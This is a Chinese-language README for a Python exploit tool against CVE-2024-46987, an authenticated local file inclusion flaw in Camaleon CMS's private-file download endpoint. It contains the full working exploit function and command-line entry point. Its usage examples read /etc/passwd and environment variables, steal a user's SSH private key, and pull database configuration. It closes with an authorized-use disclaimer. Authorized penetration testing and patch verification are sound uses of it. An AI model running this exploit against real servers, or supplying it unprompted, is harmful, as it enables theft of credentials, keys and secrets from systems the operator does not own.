Camaleon CMS LFI 漏洞利用工具 (CVE-2024-46987)
这是一个针对 Camaleon CMS 认证后本地文件包含(LFI)漏洞的 Python 利用脚本。该工具允许经过身份验证的攻击者利用受影响的端点读取服务器上的任意敏感文件(如配置文件、系统密码文件等),适用于授权环境下的安全测试与漏洞验证。
功能特性
- 精准漏洞利用 :针对
CVE-2024-46987漏洞的专用利用逻辑。 - 路径遍历 :通过未充分清理的
file参数实现目录跳转读取任意文件。 - 灵活输出:支持将读取内容直接输出到终端或保存为本地文件。
- 简洁易用:命令行参数设计清晰,支持快速测试和脚本化集成。
- 错误处理:包含基本的请求异常捕获和身份验证失败提示。
安装指南
系统要求
- Python 3.x
pip包管理工具
依赖安装
使用 pip 安装所需的 requests 库:
bash
pip install requests
使用说明
基础用法
bash
# 将文件内容打印到终端
python3 exploit.py -u http://目标地址.com -f /etc/passwd -t "your_auth_token"
# 将文件内容保存到本地
python3 exploit.py -u http://目标地址.com -f /etc/passwd -t "your_auth_token" -o passwd.txt
参数说明
| 参数 | 描述 |
|---|---|
-u, --url |
目标 CMS 的基础 URL(例如 https://10.10.10.x) |
-f, --file |
要读取的文件绝对路径(例如 /etc/passwd) |
-t, --token |
认证所需的 auth_token Cookie 值 |
-o, --output |
(可选)将输出保存到指定文件名,不设置则打印到终端 |
应用场景示例
bash
# 读取 Linux 系统密码文件
python3 exploit.py -u https://example.com -f /etc/passwd -t "abc123token"
# 窃取用户 SSH 私钥
python3 exploit.py -u https://example.com -f /home/user/.ssh/id_rsa -t "token" -o id_rsa
# 读取环境变量(可能泄露密钥)
python3 exploit.py -u https://example.com -f /proc/self/environ -t "token"
# 读取数据库配置文件
python3 exploit.py -u https://example.com -f /var/www/html/config/database.yml -t "token"
核心代码
漏洞利用核心函数
python
def exploit(target: str, filename: str, token: str, outfile: str = None) -> None:
"""利用 LFI 漏洞下载任意文件"""
# 构建恶意的完整 URL 和 Payload
url = f"{target.rstrip('/')}/admin/media/download_private_file"
payload = f"../../../../../../{filename.lstrip('/')}" # 路径遍历核心
cookies = {"auth_token": token}
try:
# 发送构造的 GET 请求
resp = requests.get(
url,
params={"file": payload},
cookies=cookies,
verify=False, # 忽略 SSL 证书验证(适用于 HTB 等实验环境)
timeout=10
)
# 处理响应结果
if resp.status_code == 200 and resp.content:
if outfile:
with open(outfile, "wb") as f:
f.write(resp.content)
print(f"[+] 成功!文件已保存至: {outfile}")
else:
# 尝试多种解码方式输出内容
try:
print(resp.content.decode('utf-8'))
except UnicodeDecodeError:
print(resp.content.decode('latin-1'))
elif resp.status_code in (401, 403):
print("[-] 认证失败 - 请检查你的 token")
else:
print(f"[-] 请求失败 - 状态码: {resp.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] 网络请求异常: {e}")
主程序入口与参数解析
python
def main():
parser = argparse.ArgumentParser(
description="CVE-2024-46987 - Camaleon CMS LFI 漏洞利用(需认证)"
)
parser.add_argument("-u", "--url", required=True, help="目标 URL (如 https://10.10.10.x)")
parser.add_argument("-f", "--file", required=True, help="要读取的文件 (如 /etc/passwd)")
parser.add_argument("-t", "--token", required=True, help="auth_token Cookie 值")
parser.add_argument("-o", "--output", help="保存到文件而不是打印到终端")
args = parser.parse_args()
exploit(args.url, args.file, args.token, args.output)
if __name__ == "__main__":
main()
漏洞说明
CVE-2024-46987 影响 Camaleon CMS 2.8.2 之前的版本。漏洞位置在 /admin/media/download_private_file 端点,由于对 file 参数缺乏充分的输入过滤和路径规范化处理,攻击者可以使用 ../../../../ 等序列跳出预期目录,从而读取系统内的任意文件。
免责声明
本工具仅用于授权的安全测试、漏洞评估和研究目的。使用者必须获得目标系统的明确授权。开发者不承担任何因滥用或非法使用本工具而造成的直接或间接责任。 6HFtX5dABrKlqXeO5PUv/3hmWEozFkYYvupHJiDwp0E=